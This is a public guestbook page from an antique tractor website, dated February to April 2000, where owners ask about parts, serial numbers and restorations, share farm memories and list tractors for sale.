Steve Renegar wrote on Saturday, April 22, 2000 (PDT): You made my day. Grandson of Renegars Store ,Hickory,North Carolina
Andy Pridham wrote on Friday, April 21, 2000 (PDT):I have a 49 and a 51 C. The 51 was my grandfathers and I have it prety much back to original. I put a C-153 combine motor in the 49. Just had to drill the crank for a pilot bearing, make and exhaust header and cut the intake to move the carb closer to the engine block for hood clearance. Great swap, now runs 41 hp and pulls much better. Anyone done this swap before. Would the original 123 cam shaft work in the 153? If so would it provide more torque? The 153 revs higher but suffers on the bottom end. Goal is to get it to the 2500 lb mofified class. Almost there. Anyone put a turbo on something like this? If so what size? I've got 16.9 X 26" on the back with custom hubs and tin rims. Any info back would be appreciated.
Tom Oller wrote on Friday, April 21, 2000 (PDT):I have a 1940 AC "B" that used to belong to my dad who was an AC mechanic in Ohio. Crank start. It likes to kick while trying to start it. It is in good condition and I keep it inside. I do on occasion take it to antique Machinery Shows.
todd wrote on Thursday, April 20, 2000 (PDT):oliver 770 disel for sail in florida wide front end and 3 point hich if eney one is intristed email me and weal talk .todd6130 at aol.com
Glenn Lennox wrote on Thursday, April 20, 2000 (PDT):My father and I have 2 20-35's, in varying stages of restoration. A comment on the "easy" steering... We had just gotten the latest acquisition running a few years ago, and wanted to try it out at a plowing demo. Didn't bother to check out the steering, which seemed a bit heavy but worked. Made one pass with a 3 bottom plow, cranked it off hard to turn at the end, where the steering promptly locked. Made a complete 360 degree loop before giving up reefing on the wheel, and threw the clutch. unhooked, and finally freed the steering, then just parked it for the day. Not a very great first impression! Greasing the linkage and the gearbox have helped, but it's still a brute to steer! FUN
Chip Middleton wrote on Tuesday, April 18, 2000 (PDT):I have just bought a ford super dexta and need to find parts and technicle help. Thanks Chip Middleton
Ken Martin wrote on Monday, April 17, 2000 (PDT):I cut teeth on a 70 gasoline at 12 years old on our western North Dakota sugar beet farm, but when I worked for my uncle one summer he had just got a new/used 720 in its finest paint. I ran this tractor most of the summer plowing a field of alfalfa in gumbo. We had a two bottom spinner plow and ran in fourth gear if I remember right. The land owner insisted that we run his IH 560 gasoline with the 720 -- no contest and what a long locomotive it was. The only way the 560 could keep up was to use the torque amplifier jusdiciously. I also had the distinct honor of starting the 720 diesel backwards twice that I can remember. First time was a real shocker when the oil came flying back in your face from the air cleaner; of course my uncle swinging his arms crosswise took a little figuring out. Loved starting it with the pony motor and there is nothing like hearing the 720 idling in the farm yard while eating a great noon meal. And lugging power - wow! You could lug it down to two pops a second.
matt perry wrote on Monday, April 17, 2000 (PDT):My Dad has a D21 and is restoring it. He needs a hydraulic pump for it. It could be used or anything but he wants one that works.
BJ Beitman wrote on Monday, April 17, 2000 (PDT):Need info on Intnl W450 tractor. Year?
Fred Seeley wrote on Monday, April 17, 2000 (PDT): Looking for steering box for 1959 Oliver 550 or parts Thankyou
John Lambert wrote on Sunday, April 16, 2000 (PDT):Andrew Gazdecki, the Serial Number tag on the left side of the engine can be hard to read. If the numbers can't be read with the eye, you can brush on a mild sulfuric acid to melt away what's hiding the number. Even if it's been ground off a little this'll usually make it ledgible. Stand by with a water hose though to neutralize the acid. This is the same process we used to raise serial number from weapons when I was in law enforcement. www.wb4uds.org/jlambert
Tom Wellnitz wrote on Sunday, April 16, 2000 (PDT):Iam looking for the Allis CHalmers name plats that goes on the side of the hood on a D-10 Allis, I thank they are all the same on all D series tractors Tom
Wallace Martin wrote on Saturday, April 15, 2000 (PDT):I just purchased a Fordson Super Major Diesel at an auction in South Carolina.I need to know where the serial number is located.I paid $4000 for this restored rebuilt one owner tractor.i would like some info on this tractor from other proud owners.
Ed Culler wrote on Saturday, April 15, 2000 (PDT):I have a cockshutt 40 that I purchased in 1976. I'm looking for replacement piston rings oversized 3and 9/16 bore for Buda 230 gas engine.
Tom Wellnitz wrote on Tuesday, April 11, 2000 (PDT):I have a 1963 D10 sr2 Can someone tell what HP it is I do not have a book yet Thanks Tom
Dennis Seaton wrote on Tuesday, April 11, 2000 (PDT):great site here. Now to my questions. Working on friends cub, has white screen front grill . Were these orignal 6volt or 12volt systems, positive ground or negative.Did all cubs have magnetos orignaly? Are points located under rotor button? Have H myself,can work on it. Just not sure about cub ,first one worked on.Thanks for any help God bless you.
JERRY SARCHET wrote on Monday, April 10, 2000 (PDT):I HAVE A LA WITH NO TAG, THAT MY SONS AND I ARE RESTORING. THE MOTOR HAS BEEN REPLACED AND OUT OF TIME BUT IT CAN BE CORRECTED WITH NO TROBLE. JUST TOOK THE TRANSMISSION AND REAR DRIVES OUT AND PUT NEW GASKETS AND BREAKS BANDS ON EACH SIDE. IF ANYBODY NEEDS SOME INFORMATION ABOUT THESE TRACTORS I MIGHT BE ABLE TO HELP SOME OF YOU OUT. JERRY SARCHET 806-744-4457 LUBBOCK TEXAS
Gary Wertz wrote on Sunday, April 09, 2000 (PDT):Iam in the process of restoring a running 1947 Farmall Cub. I found a aftermarket battery box, does anyone know if they put the metal plate,(battery box cover) on top of the battery with a rubber mat to keep the post from contacting the metal. Also does anyone know where you can find the orignal type of wiring, I think it had a outside woven covering. Thanks. Red forever..........
JERRY SARCHET wrote on Sunday, April 09, 2000 (PDT):ERNIE HENNING YOR MIGHT CONTACT A MR. CARTER AT BUGSTRACTOR at SIMPLYNET.NET FOR A HOOD FOR YOUR MODEL B. I HAVE BOUGHT SEVERAL PART FROM HIM. HE LIVES IN OK. AND WILL SHIP IT TO YOU WHERE EVER YOU MIGHT LIVE. JERRY SARCHET LUBBOCK, TEXAS
dean slavick wrote on Saturday, April 08, 2000 (PDT):any one heard of a golden eagle or a blackhawk/
Dean Slavick wrote on Saturday, April 08, 2000 (PDT):I have a UTI industrial bought during 2nd world war has very few hours.
mark pratt wrote on Saturday, April 08, 2000 (PDT):In 1949 my father bought a brand new cockshutt 40 gas.After many years of constant use on our farm, it was retired and stored in the shed .Last summer I had the priveledge of restoring it for him . The look on his face when we rolled it out was worth all the countless hours that I spent on it. It has becom a family heirloom !
Bobby MeltoReagan,Tn. wrote on Friday, April 07, 2000 (PDT):the leader tractor was built by the brockway bros,auborn ohio,they were never built in chagrin falls ohio.there was no postoffice in auborn ohio so the nearst postoffice was in chagrin falls, and the postmaster there knew eyerybody for miles around,so they could get their mail this way,a grandson still lives there and has some of these tractors,including the last tractor they built,he also has some extra parts,its worth looking into,I HAVE SR # 10539,RESTORED,NOT FOR SALE,THERE IS TWO IN CAMBDEN,TN.FOR SALE.IF ANYONE IS INTERSTED I WILL TRY TO GET THE MANS PH,NO.
Bruce wrote on Friday, April 07, 2000 (PDT):I have a W4 and wondering if anyone knows the availability of a three point hitch setup?
Jeff Pyzyk wrote on Friday, April 07, 2000 (PDT):Have an IH sickle blade mower for a cub. Located near Milwaukee. Jeff Pyzyk (414) 271-9890
Eric Meuwissen wrote on Wednesday, April 05, 2000 (PDT):I am the owner of a Ford Super Dexta from 1964. My problem; I have no information about this little solid tractor. I need to rebuild the whole cabeletree because they went on fire. Please send me information and photo's if possible.
Dale Smith wrote on Monday, April 03, 2000 (PDT):Looking over the above comments, it appears that alot of people have questions about Avery tractors and few people have answers. I have an Avery and I am in need of universal joints and have been unable to find anyone who know of a club or locations of possible parts. Any information would be greatly appreciated.
bh albany, in wrote on Saturday, April 01, 2000 (PST):the 1950 in this photo looks like the one i saw at the covered bridge fest. in mathews, in. if so the owner lives on n. wheeling ave in muncie, in
Lee Schweizer wrote on Friday, March 31, 2000 (PST):This is a good looking tractor. We are restoring a Super 99 GMD - Did they make a power steering unit for this model?
RON KENNEDY wrote on Friday, March 31, 2000 (PST):HI,WRITING FROM AUSTRALIA,WE HAD THREE 55K WHICH WERE FANTASTIC TRACTORS OUR ORIGINAL ONE LOGGING UP ELEVEN THOUSAND HOURS WITH ONLY A VALVE GRIND. IT WAS SREIAL NO 13587. WE THEN HAD A PERKINS 6/354 ENGINE FITTED WHICH WAS QUITE COMMON OVER HERE. THE BENEFIT WAS THAT THESE ENGINES OPERATED UP TO 2000 RPM WHICH GAVE THE TRACTOR A MUCH FASTER SPEED RANGE,AND CONSIDERABLY MORE POWER AND REDUCED FUEL CONSUMPTION. THE THIRD ONE WE BOUGHT WAS ANOTHER PERKINS CONVERSION AND WE RAN THE TWO IN TANDEM FOR A NUMBER OF YEARS. THE OTHER THING WE DID WAS TO RUN THEM ON STEEL WHEELS OF A MASSEY 25 WHICH WENT STRAIGHT ON WHICH MADE THEM UNSTOPABLE IN OUR TYPE OF COUNTRY. A NEIBOUR WITH A J,D 4440 WAS TRYING TO SOW HIS PADDOCK WITH A18 FOOT SEEDER BUT JUST COULDNT GET ALONG AND I WAS ABLE TO WORK IT FOR HIM WITH THE MWSSET AND A 30 FOOT CULTIVATOR THEN HE WAS ABLE TO SOW
Ken bray wrote on Wednesday, March 29, 2000 (PST):My dad had a B, CA, and WD-45. We liked them all,are all gone. I would very much like to find a D-15 Series II-IV or a D-17 of the same Series. If anyone knows of one for sale please let me know.
Catharine Sullivan wrote on Tuesday, March 28, 2000 (PST):Can anyone please tell me how to find the year of my "new" Cockshutt 40-Serial number is 40P 11605-The serial # list says a 110615 is a Model 50- Tractor was purchased at auction, and I would like to know what its vintage is. Thank you!!
Mark Wallace wrote on Tuesday, March 28, 2000 (PST):I have 2 super W-4's both 53's, 1 51 W-4, 3 super W-6's and would really like a W-9 gas and I'm willing to trade or pat cash but they are amasing little tractors
richard aronson wrote on Monday, March 27, 2000 (PST):I just bought a co-op and am looking for someone to ident it. metal plate on block has 3 sets of numbers on it. left side 4b153 right side 11459 lower right 8094891 any help appreciated thanks
peter brown wrote on Monday, March 27, 2000 (PST):could somebody please email me , i need to know where this picture was taken+who submitted it to this site.i am almost certain that this is my grand fathers tractor,he has ben deceased for four years and this would mean alot to me.thank you
Peter Brown wrote on Monday, March 27, 2000 (PST):I own a twincity 17-28 which is the same as this tractor. the 12-20 was re rated to a 17-28 the only cosmetic differance is that in the lower radiator tank they cast 17-28. I have been trying to learn as much as possible on these units since i am restoring mine right now. I am still trying to find the year on mine and any sales brochures or any printed matter on this tractor.Mine is complete and runs excellent.my sn#29987 eng#30229 with the wheeler schebler carburator.
Moos Brandon wrote on Monday, March 27, 2000 (PST):I am Looking for a place to buy or repair my Water pump for a SD3. Or If anybody Knows were to to find a seal and shaft for the pump Thanks
Jim Moore wrote on Sunday, March 26, 2000 (PST):I have a cockshutt 40 that i am restoring and i need an exhaust/intake manifold it is a 6cly Buda if you can help please contact me thanks.
Lavern Berndt wrote on Sunday, March 26, 2000 (PST):I would like to buy a D-10 Allis.
Catharine Sullivan wrote on Sunday, March 26, 2000 (PST):Have purchased an old cockshutt at auction & would like to verify model & year-I have the serial number and would like to know if anyone can tell me how to trace the number & identify the tractor. Thanks!!!
Robert Coppock wrote on Saturday, March 25, 2000 (PST):I have an R that I use once in a while. The old timers hear it pop and stop by to see the old gal work. They are good for an R story.
Frank Petroni wrote on Saturday, March 25, 2000 (PST):I have inherited an early fordson dexta diesel. I started it the other day and after the smoke cleared it ran great. I would like to get a post hole digger for it. I guess any pto post hoe digger will work. Any suggestions on where to look in Ca.
David wrote on Saturday, March 25, 2000 (PST):I am in the process of buying an AC-C and need to know what implements were made for this and if there any available for sale. Also would like to know if the B and c are the same size, and if B implements fit the C. Looking for a back blade especially. Thanks!
RON KENNEDY wrote on Saturday, March 25, 2000 (PST):CAN ANYONE HELP ME WITH THE COLOUR OF THE WHEEL CENTRES AND RIMS ON THE GVI. I HAVE SEEN SOME RED AND THE OPICTURE HERE IS YELLOW
RON KENNEDY wrote on Saturday, March 25, 2000 (PST):WRITING FROM AUSTRALIA, MY FRIEND JUST RECENTLY PURCHASED TWO GVI TRACTORS, ONE WAS A GOER THE OTHER NOT, HOWEVER THE ONE THAT GOES HAD NOT BEEN GOING FOR TWENTY FIVE YEARS. IT WAS LEFT OUT IN THE PADDOCK WHERE IT HAD BROKEN A FUEL PIPE. IT ONLY NEEDED FUEL AND A BATTERY AND THE TYRES PUMPED UP AND AWAY IT WENT. HE PAYED $400-00 AUS FOR THE TWO
Margaret Howden wrote on Friday, March 24, 2000 (PST):Need a small tractor and implements for market gardening, and would like to locate Farmall Cub (not Cub Cadet) or MH Pony in working condition, in SW Wisconsin or Northern Illinois. (Of course, our 8 year old hopes it will be in show condition, but I'd rather budget for more attachments than paint and decals ;-).We use an IH 706 and a Ferguson TO-30 on the farm, but I need something lighter and with a smaller turning radius for the garden (only about 1 acre total). If you have one for sale, please contact me. Thanks.
John Weide wrote on Friday, March 24, 2000 (PST):I spent alot of time on my grandparents farm when I was little and they used oliver tractors for all the heavy work and had a small diesel ford with a loader towards the end, to clean out the barns,etc. The place was sold in 1971 when I was 8. I became a father in '92 and thuoght my son would enjoy things like tractor shows and such, so I decided to find an Oliver to restore , but all I could remember was the big red wheels! So, without asking my relatives what models were there, I obtained a 60 rowcrop. I did alot of research before I restored it and found out some minute details, such as the fact the gages used chrome plated brass lens rings in 1941, (my Olivers year)all that came later still had the chrome,but due to war, it was chrome plated steel. My 60 turned out exellent,I use it to buzz wood and I have a large garden, also its a hit at the local tractor show each year. Theres something I'd realy like to have and thats a set of cultivators for it. Oh yeh, the tractors on the farm when I was little? A 70 and A 77!!
Lindley Clark wrote on Friday, March 24, 2000 (PST):In the 40s and early 50s my father was an Oliver dealer in Calhoun Kentucky. A cousin called me last night and told me he had located a model 60 in excellent condition that my Dad had sold new. I am now the owner of that tractor. When I was a kid hanging aroung the dealership I learned to drive on these tractors and usually had to drive all the new ones, so there is a possibility that I drove this one over 50 years ago. I can't wait to see it again! I also need a steering wheel in good condition.
Michael wrote on Friday, March 24, 2000 (PST):My brother-in-law just acquired a Internatianal McCormick W4 and needs specs, type of lubricants, etc. Can anyone be of assistance. Thanks
Sherry Goodreau wrote on Friday, March 24, 2000 (PST):My dad has a co-op not sure of the year but I am trying to find a buyer for it. He thinks it is a 37-47 somewhere in those year's. The model # IS 413 153. Does anyone know this tracktor? It has a broken back axel, but is for sale.make offer.
Eddie White wrote on Wednesday, March 22, 2000 (PST):There is two MM down her in lower Alabama that a lady has for sale one of them is a 57 model 5 STAR and the other is a 61 model 4 star both need some work. she can be reach at 334-937-9849
Eddie White wrote on Wednesday, March 22, 2000 (PST):There is a lady down here in Alabama who has 57 5star and 60
Bruce Wilhelm wrote on Wednesday, March 22, 2000 (PST):I have a Massey 98 which I tractor pull with. Also am in the process of restoring Oliver 990 which is the same tractor. Am looking for parts for the 990 ~ seat, grill, hubs, ect. When the Oliver is finished, We will have a father & daughter pulling team!
Bruce Wilhelm wrote on Wednesday, March 22, 2000 (PST):I have a Massey 98 which I tractor pull with. Also am in the process of restoring Oliver 990 which is the same tractor. Am looking for parts for the 990 ~ seat, grill, hubs, ect. When the Oliver is finished, We will have a father & daughter pulling team!
Craig Thorne wrote on Wednesday, March 22, 2000 (PST):The chains do hook to the drawbar. They should don't drag on the ground. They are not mounted on the rock shaft properly.
Rhonda Funderburk wrote on Tuesday, March 21, 2000 (PST):I was wondering if anyone knew how much I could buy an original motor for one of these tractors and a hood. We have one that someone put a 4 cylinder motor in it. I would trade this motor for a 3 cylinder Leader motor if anyone was interested. Any info is appreciated. Also how much are these tractors worth?
Craig Thorne wrote on Monday, March 20, 2000 (PST):We have a long line of john deeres B,50,60 3010 Yes we still farm with them all. Re.the rock shafts, alot of times people would sit and hold the controls and this would jam the shafts. a piece of flat stock cut to size and a long rod will free them up
Craig Thorne wrote on Monday, March 20, 2000 (PST):We have a long line of john deeres B,50,60 3010 Yes we still farm with them all. Re.the rock shafts, alot of times people would sit and hold the controls and this would jam the shafts. a piece of flat stock cut to size and a long rod will free them up
Doug Adams wrote on Monday, March 20, 2000 (PST):My dad bought one of these tractors new in 1962, I believe that he paid about $2200.00 for the tractor and plow. I used that tractor a lot when I was growing up, it was our main tractor until about 1970 when he bought a new International. Minneapolis-Moline was no longer available! The tractor lasted real well with I believe one rebuild on the engine. The tractor developed 65 HP on the dyno, we had another that we bought used and it got 70 HP on the dyno. The book called for 59 HP on that tractor but both of ours were over that. The tractor we bought new is now retired to just pulling a baler and a few other odds and ends.
Mark wrote on Sunday, March 19, 2000 (PST):I am restoring a W4 that my dad bought 35 years ago. I need rear wheels and tires. Any Canadian dealers?
pierre simoneau wrote on Saturday, March 18, 2000 (PST):Iget a cockchoct suppose to be 30 but on the front end is mark 60 but he look like a oliver with cockchot rearend and thand he get the same transmision the oliver get if you have any ideal tel me what you tink.
earl Allen wrote on Saturday, March 18, 2000 (PST):I have a 1955 OC-3 with a 5 foot Hyd blade and full roll cage ,I live in the foothills of No. Calif.and use it extensily. I have about an inch of adjustment left on the tracks, My question is does anyone rebuild tracks or are there any good used or new ones available and what would one expect to pay for them? I did find an old HC42 for sale that has not moved in 20 years for $500.00 . is that too much to pay for a parts tractor? This tractor has much better tracks, a Hyd pack in front and a PTO on the rear with a 6 inch belt drive on the side ,would this be of any value to anyone? E- Mail Me at ekallen at neworld.net
Jason D. Wahl wrote on Saturday, March 18, 2000 (PST):I am from New Braunfels, Texas and have several friends who share my hobby of restoring 2-cyl. JOHN DEERES'. Mike Henk is one of those, he owns a somewhat rare 830I or idustrial version of the 830. It is idustrial yellow of course and has electric start with the 12/24 volt system. It will give an Oliver 6-cyl. diesel tractor a run for it's money in our local tractor pulls!!! This is the only one out of three that survived Dean Word Co. here in N.B. Tx.
kpowers wrote on Thursday, March 16, 2000 (PST):need specifications for t020 and to30 -must identify my tractor and cannot locate serial number. Anyone have specs or a good diagram that would show difference between two models? Help-need answer fast!!
Jarrell Currie wrote on Thursday, March 16, 2000 (PST):I have 1974 2000 ford with a8speed trans .I can't get the suchion filter out of the bottom of the case .Need some help .It all runs in hydl fluid .
willie lee wrote on Wednesday, March 15, 2000 (PST):i have purchased a ac-b tractor. motor is locked up from sitting so long . any ideas how to get it going. hope to get a response
michael p wrote on Wednesday, March 15, 2000 (PST):have a lo-boy with stock c-60 motor,at when mowing in deep grass it tend to bog down a bit almost to where it wants to stall,would like to know if there is a way to "soup it up a bit " any body out there have any ideas??
MIKE MCCORMICK wrote on Wednesday, March 15, 2000 (PST):I have a sheppard 12hp.engine in my garage bolted down to the bottom of a shipping creat. I think it is new. I got it started twice,and then the starter burned up. I would like to find another starter for it.I might adapt one if I can't find one at a good price.If anyone knows of other web pages with information on them please let me know.
Dan Pasch wrote on Tuesday, March 14, 2000 (PST):I have a 1967 Forson Super with the diesel engine with a loader and back blade for sale. Price $3,000.00 US.
Stewart wrote on Monday, March 13, 2000 (PST):Resently acquired one. I am in need of photos of the original paint. I would like to paint it but must keep it original. Also I would like to know where to locate decals. Any help or info is greatly appreciated.
John wrote on Monday, March 13, 2000 (PST):I live in the St.Louis MO area and would like to have an HG or OC in any gauge. I don't mind restoration work and I don't mind some travel.
Tom wrote on Saturday, March 11, 2000 (PST):Oliver, 1/16 Scale models; I collect Oliver scale models if anyone has any older models for sale please contact me. Prices range from $25. up. I paid $300. for a nice model of my Super 55 in like new condition. Ive seen broken, no paint left ones go for around $175. Looking for a "99". Older 77's,(50's) go for around $150. up. There are some newer versions avail for around $50. Thanks!
Tom wrote on Saturday, March 11, 2000 (PST):I bought a Super 55 Diesel from a friend 2 yrs ago for $1000. It had a knock in engine which finally blew! (#1) It broke at crank journal, som I disconnected rod cap and threw it in tool box. Pushed piston to top of cyl. and bolted pan back on. Been running it that way all year now. Can not even hear a miss. You would never know. I think it runs better then before! (LOL) Really. About paint on wheels, Oliver 55's came with Chinise red and green wheels. Not sure what differance is? Poss. year or gas / diesel? / STARTER; I have two diesel engines (one spare) the starter on one has a manual switch and thensplines on the starter rotor shaft are straight. On the other starter W/electric solenoid the rotor shaft splines are spriled. Both starters work on 55 diesel though. Hope that helps someone.
Derek wrote on Friday, March 10, 2000 (PST):We have a 770 also.We just put a wide front on it when we put better sheet metal on it.We use it to rake and ted our hay every year.Ours has a whine in the rearend to Don
Derek wrote on Friday, March 10, 2000 (PST):We have a 770 also.We just put a wide front on it when we put better sheet metal on it.We use it to rake and ted our hay every year.Ours has a whine in the rearend to Don
James Monroe wrote on Wednesday, March 08, 2000 (PST):A week ago, I bought a 44 from a friend in my hometown, Italy, Texas. I got it running after filling the propane tank and replacing the ignition coil. Am in the process of replacing the rear tubes and painting the tractor after steam cleaning. It appears to be perhaps a conversion to propane. Would like to hear from others who have 44's Thanks, James Monroe 322 Lindsey Lane, Tyler, Texas, 75701-1636
Craig C wrote on Wednesday, March 08, 2000 (PST):I would Like some pictures of any 806. Is 7k a fair price for one with new rubber and a fresh OH?? If you have any Pictures of a 806 I would like to see them, thanks!!
Gaston wrote on Wednesday, March 08, 2000 (PST):We have 4 Original Pony's for sale, some with attachements along with a 5th one for parts. We are located in Winchester, Ontario, Canada. For more information, please E-Mail us.
Kenneth C.Brecht wrote on Monday, March 06, 2000 (PST):I used a G-1000 that my Dad had. This tractor was Propane powered and was a real power house. The six cylinder motor had a sound like no other tractor. My dad had used only Moline tractors since his first U he bought new in 1950.
Elizabeth McCaslin wrote on Monday, March 06, 2000 (PST):Serial number and the years they were built can be found at www.sckans.edu/~alan/oliversn.html
Tim Pommer wrote on Sunday, March 05, 2000 (PST):I own one and would like to buy another one or if you have any imformation please E mail me. THANK YOU
red black wrote on Sunday, March 05, 2000 (PST):Q; why are John Deeres Painted Green? A; So they can hide in the bushes when big red goes by! I can tell that you guys like red. I own a 966, 1066, 1586, 5240, 7240, and 1460 but the toughest one on the farm is my 784 with loader!
Jeff Mattingly wrote on Sunday, March 05, 2000 (PST):I bought a GVI from Welters Equipment in MO in 1992 and started pulling in the 5500# class. We won several points competitions from 1992 to 1999. We sold the tractor in 1999 and now we pull a Super M 670 in the Super Farm class.
Dylan wyn williams wrote on Sunday, March 05, 2000 (PST):i hace a super dexta at home it is a 1963 model and the engine is great and nver have trouble starting the only trouble is the back hydrolics which will not work for months and then work fine for as long as a year my dad and my uncle a macamic have been at it for days to try and find the problem exept for this it is a good little tractro and used daily on our farm.
bill grenzow wrote on Friday, March 03, 2000 (PST):looking for u speacial lp gas
Mike Darby wrote on Thursday, March 02, 2000 (PST):I own a model M crawler that is a gas 4 cylinder 6 volt magneto that I'm rebuilding and using. It has been converted into a dozer and does apretty good job. I sure wish I knew where I could get parts or an old salvage unit. This thing is a pretty good machine.The serial number is M-3489, so if anyone knows anything about this or a parts tractor let me know. What year is this thing . Iwas told it was a 1942 thru 49?
greg wrote on Thursday, March 02, 2000 (PST):I have 1949W4 it has live hydaaulics and power steering
JEREMY BURCHETT wrote on Wednesday, March 01, 2000 (PST):march 1 00 I have ajohn deer 60 that I currently only use for tractor pulling. I am a member in our local club as well as president. The name of our club is THE WASHINGHTON COUNTY ANTIQUE TRACTOR AND EQUIPMENT CLUB. We feature antique equipment owners as well as tractor pullers. I am from marietta ohio.
Brett Christian wrote on Wednesday, March 01, 2000 (PST):I have 2 ponys for sale located in Richmond VA. I have a dump load of attachments. One is in excellent condition the other needs work. Will be interested to hear what these 2 tractors will bring.
walt s wrote on Wednesday, March 01, 2000 (PST):hi i have a 48 cub and it runs good. i'm looking for a side mount fertilize can some one help me locate one thanks
Tom thibodeau P.O. Box 742,No. Oxford, Mass.01537 wrote on Wednesday, March 01, 2000 (PST):I need a starter,6or12 volt ,Delco Remy system for an Oliver oc#3, model hg 42 orhg68. thank you for any help!
John Kikut wrote on Tuesday, February 29, 2000 (PST):Recently came across a 1941 Case "V" model tractor (sn#V4522223) in working order, and in resonable shape. Would like to know what the value of this tractor would be. Any info that can be provided would be greatly appreciated. Thanks, John Kikut, Woodstock Ontario, Canada
Aaron Ochs wrote on Tuesday, February 29, 2000 (PST):My grandpa has a D17 and that was the first tractor I drove. They are nice tractors.
Charles Leffert wrote on Sunday, February 27, 2000 (PST):I Own a Oliver 60 and thought it was a orchard tractor and was considering restore in it and wondered were to get parts and if there were any other picture that looked like the one you have with the wide front end .
Kevin Logan wrote on Sunday, February 27, 2000 (PST):There is an S model Case coming up at a local auction that I am interested in. I do not know the year. What bid price should I expect to buy this tractor at?
Dave Ordos wrote on Sunday, February 27, 2000 (PST): I have a 29 L that I'm in the process of restoring. Those tractors were quite a hoss. the one I got ran pretty good, but is now getting a ground up restoration.
DEAN HLAD wrote on Thursday, February 24, 2000 (PST):When I was young in the late 60's our farming operation was spread out. I remember my grandfather was working with a 55 Massey using a one-way to work some summerfallow. When he didn't come home we became concerned about where he was. Later that evening we got a call from the Russell Hospital in Russell Ks. He was admitted with a broken wrist! He had refueled the tractor (by 5 gallon cans) and when he went to restart it via the hand crank, the engine kicked back and sprung his wrist a good one. We were all more careful from then on. The 6-volt system on the 55's was never enough! We used several 55 for quite some time, even putting a front-end loader on them for moving big round bales.
Paul blinn wrote on Thursday, February 24, 2000 (PST):we are building a cockshutt plow that is 3 disc and we need a lot of info on it. if you wouldlike to help call 724 843 7559 and ask for charlie
paul blinn and charlie blinn wrote on Thursday, February 24, 2000 (PST):I think that at the time the cockshutt was the best in its class at my home we have three. a 50 desil a 50 gas that is restored .
Neil Swyers wrote on Wednesday, February 23, 2000 (PST):How do I find out what kind of Oliver I have? It looks similar to a Super 55.
Phil Blahut wrote on Tuesday, February 22, 2000 (PST):I am looking for an AC 220, just like in the photo, or one that I can restore. Phil
Phil Blahut wrote on Tuesday, February 22, 2000 (PST):Ok, I can't find a D-21, how about an AC 220? Phil
RANDY WOODHOUSE wrote on Tuesday, February 22, 2000 (PST):I RECENTLY PURCHASED AND RESTORED A 28-44 . SINCE IT IS ON STEEL TRANSPORTING IT TO AND FROM SHOWS PROVES DIFFICULT. THE TRACTOR IS IN EXCELLENT WORKING ORDER AND I WOULD CONSIDER SELLING IT.MY MAILING ADRESS IS R.R.#1 CLARKSBURG, ONTARIO,NOH-IJO.
ernie henning wrote on Tuesday, February 22, 2000 (PST):I am not to good at this computer stuff yet, but know quite a bit about the B. great little tractor. I have restored two and presently own a 1947 last year for them. I worked at farmall works Rock Island when they closed. Any questions about Bs my e-mail is ernhen at aol.com
Harry wrote on Tuesday, February 22, 2000 (PST):willis I have a oliver 66 rowcrop I restored that my grandfather bought new in 1950. I also have a 77, but need a block. e-mail me it. ' if you have amy ouestions on old olivers.
Dan Fisher wrote on Monday, February 21, 2000 (PST):I recently bought a 1974 1066 with 2500 hrs on a rebuilt engine. I am interested in pulling and would like to know if anyone could give me any advise on hp. increase. Thank you.
Jon Prince wrote on Monday, February 21, 2000 (PST):I am very interested in buying a 1950 with fwa. Please contact me!!!!
Wayne from Mass. wrote on Saturday, February 19, 2000 (PST):Oliver made about 400 of MF 98. They have a 371 Detroit. It's the same as an Oliver Super 99. More of the MF 98's had hand clutches. I have 2 1955 Oliver Super 99's. One is used for antique stone boat pulling. Tractor weighs 18,500!
Carlton W. Mullins wrote on Saturday, February 19, 2000 (PST):My dad currently owns a Farmall 560-D (#43247) with wide front end & toque amphlier. I've got a question about some decals that aparrently this tractor used to have on it. They are starting to show up from the faded paint. The decales are located on the left side of the hood. One decales says "Job Matched Speeds" & the other says "More Work At Lower Cost". I've heard of some Limited Edition 560's that were solid white that were supposed to be an advertisement type thing. I've seen an article on one, but the tractor in the article was questioned on its authenisity. Its been a few years ago & I can't remember which magizine it was in now. Any reponse would be greatful. Thanks!
Doug Hastings wrote on Saturday, February 19, 2000 (PST):To all with OLIVER questions. I have a 1955 super 55 and find alot of information in my Hart Parr/ Oliver Collectors Assn. magazine.(PO. box 685,Charles City, Iowa 50616) Drop them a line its a great magazine.
Gary Bostic wrote on Saturday, February 19, 2000 (PST):I am looking for a D-17 with dual exterior hydralics reasonibly priced. Perferably within 200 miles of north-east Arkansas. Would consider gas but would prefer diesel.
Ryan Ratzlaff wrote on Friday, February 18, 2000 (PST):I am looking for undercarriage parts for a TD-18 let me know if there are some out there
DON BOUGIE wrote on Friday, February 18, 2000 (PST):MY FRIEND HAS A OLIVER TRACTOR 550 THE MODEL # 45-0071 SERIAL# HE SAID HE FOUND A TAG NEAR THE TRANS. IT IS 127641 519 CAN ANYBODY TELL ME WHAT YEAR THIS OLIVER TRACTOR IS AND I WOULD LIKE TO BUY HIM A SERVICE MANUAL ON IT. THANKS ALOT HOPE TO HEAR FROM SOMEBODY.
clark thompson wrote on Friday, February 18, 2000 (PST):I have a 1948 cub that i purchased 9 years ago,i rebuilt i and the sold it to a historical society .last year the society dissolved and i bought it back and my son alex and i restored it to show condition. everything is original.i used good paint such as ppg and hardener,people at local shows say that it looks better now than it did when it was new. My grandfather was a farmall and john deere dealer back in the early 50's in hubbard ohio.when i was 13years old he gave me a old cub to drive around town for transportatoin.I drove the old cub for 4 years and put probabley 75000 miles on it.when i was done he put it back to work on his farm and used it till he passed away in 1986.since then i have purchased about 25 cubs and restored them properly and then sold them.i didnt get near the money back that i put into them but it was alot of fun.I currentley have a 1951 I9,1928 fegular,1938F20,1950 farmallH and the 1948 cub
Vernie Hewett wrote on Thursday, February 17, 2000 (PST):can get new radiator from local Deere dealer
RROCHE wrote on Thursday, February 17, 2000 (PST):E-MAIL ADDRESS CORECTION
